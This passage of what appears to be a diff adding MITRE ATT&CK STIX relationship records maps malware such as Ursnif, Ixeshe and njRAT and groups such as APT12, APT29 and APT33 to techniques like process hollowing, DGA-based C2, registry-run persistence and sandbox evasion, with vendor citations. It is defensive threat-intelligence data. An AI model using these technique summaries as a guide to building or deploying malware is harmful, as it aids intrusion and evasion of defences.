disk.\t[Ursnif](https://attack.mitre.org/software/S0386) droppers have also been delivered as password-protected zip files that execute base64 encoded [PowerShell](https://attack.mitre.org/techniques/T1086) commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.377Z", + "id": "relationship--117ca63e-7fdb-41e6-9f4b-e19a0e889061", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + }, + { + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used encoded data in HTTP URLs for C2.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.381Z", + "id": "relationship--45a113e7-452c-4bf3-9962-b0f71f386095", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a DGA to generate domain names for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.394Z", + "id": "relationship--ab589bd1-49d3-422e-ac25-c24d2964b258", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used process hollowing to inject into child processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.396Z", + "id": "relationship--e1ba1028-0125-4f0e-8ccd-9273deac9d18", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "source_name": "FireEye Ursnif Nov 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used CreateProcessW to create child processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T21:30:37.400Z", + "id": "relationship--1eb02abf-4bad-4672-a0dd-73fffc02bb47", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.026Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "source_name": "FireEye Ursnif Nov 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a 30 minute delay after execution to evade sandbox monitoring tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T23:45:59.779Z", + "id": "relationship--281eabd3-1965-4b62-8862-1edb15d49701", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Ursnif File Dec 2014", + "description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has attempted to get victims to open malicious Microsoft Word and PDF attachment sent via spearphishing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T14:20:07.492Z", + "id": "relationship--0c9b6c09-8fc9-42c7-bfd7-316e9bbfa271", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + }, + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T14:20:07.509Z", + "id": "relationship--75b6869c-dd4e-44ec-8614-97fe792e9dd6", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + }, + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has sent emails with malicious Microsoft Office documents and PDFs attached.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T14:20:07.519Z", + "id": "relationship--8126e72d-1be0-4237-b9c9-33045be072c3", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + }, + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T14:30:26.074Z", + "id": "relationship--f42a5342-c28d-46ad-bbd7-3123da43ff86", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:01.018Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T14:53:09.049Z", + "id": "relationship--1e0fdaa6-7a6f-4bd6-a1ef-3ee85d1d89b2", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T15:11:47.351Z", + "id": "relationship--dfa0d5cd-0e3d-4e21-ad3f-3653134cfa8b", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can collect data from a local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T15:11:47.366Z", + "id": "relationship--c9b37055-af2b-4ec1-857c-79adfb290d66", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can download and execute additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T15:11:47.368Z", + "id": "relationship--79b980bb-f79e-4576-b927-be52be236f15", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.758Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can list running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T15:11:47.385Z", + "id": "relationship--bedf5d77-af37-4a10-b4d7-3555a9ea2938", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.744Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) enumerates the IP address, network proxy settings, and domain name from a victim's system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T15:16:57.484Z", + "id": "relationship--69195872-b722-4b65-b8fd-27bab7bf4d32", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can list file and directory information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T16:34:21.050Z", + "id": "relationship--b7999bd1-4704-489d-8fc3-80661592b6dc", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is capable of executing commands via [cmd](https://attack.mitre.org/software/S0106).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T16:34:21.076Z", + "id": "relationship--ec0ffb41-2adb-4416-8869-5b99e61615c2", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can achieve persistence by adding itself to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T17:41:58.922Z", + "id": "relationship--4ad60c58-2665-4c4b-a9e8-5cd0042e45bb", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.851Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has used registry values and file names associated with Adobe software, such as AcroRd32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T17:41:58.936Z", + "id": "relationship--ea606b59-74e1-495c-a93d-c04418d86eb6", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) sets its own executable file's attributes to hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T17:41:58.950Z", + "id": "relationship--7fd0dc68-66b1-482a-b3bd-3037bb0045cb", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T17:50:47.944Z", + "id": "relationship--e8ddf5f6-ec20-4eb6-bd22-b02f54a99693", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.600Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can browse file systems using a file manager module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T18:27:38.476Z", + "id": "relationship--1daaea6e-527f-4c3d-9387-72ea68d7140d", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.316Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has a command to delete a file from the machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T18:42:23.141Z", + "id": "relationship--44968df5-3af9-4441-a1f3-e91c75893e64", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.900Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) has used port 443 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T18:47:42.466Z", + "id": "relationship--5731c1ec-5055-4d03-a2e3-573b231a5629", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "modified": "2019-06-07T18:47:42.466Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) collects the computer name of the victim's system during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T19:05:01.800Z", + "id": "relationship--5eb5ee0e-d186-40d3-a433-9562f85fdf6b", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T19:05:01.812Z", + "id": "relationship--27d4f0a9-7f8f-4d3d-b130-fd096bede2e9", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.898Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has used TCP port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T19:05:01.819Z", + "id": "relationship--6878d766-b706-4dae-bd9c-a89d7855b769", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.894Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T20:41:15.203Z", + "id": "relationship--e59dfc63-bd40-4d2d-b09b-91830bd5e9fe", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-07T20:45:33.064Z", + "id": "relationship--65321ae3-b76c-4288-9456-207641b14aa7", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 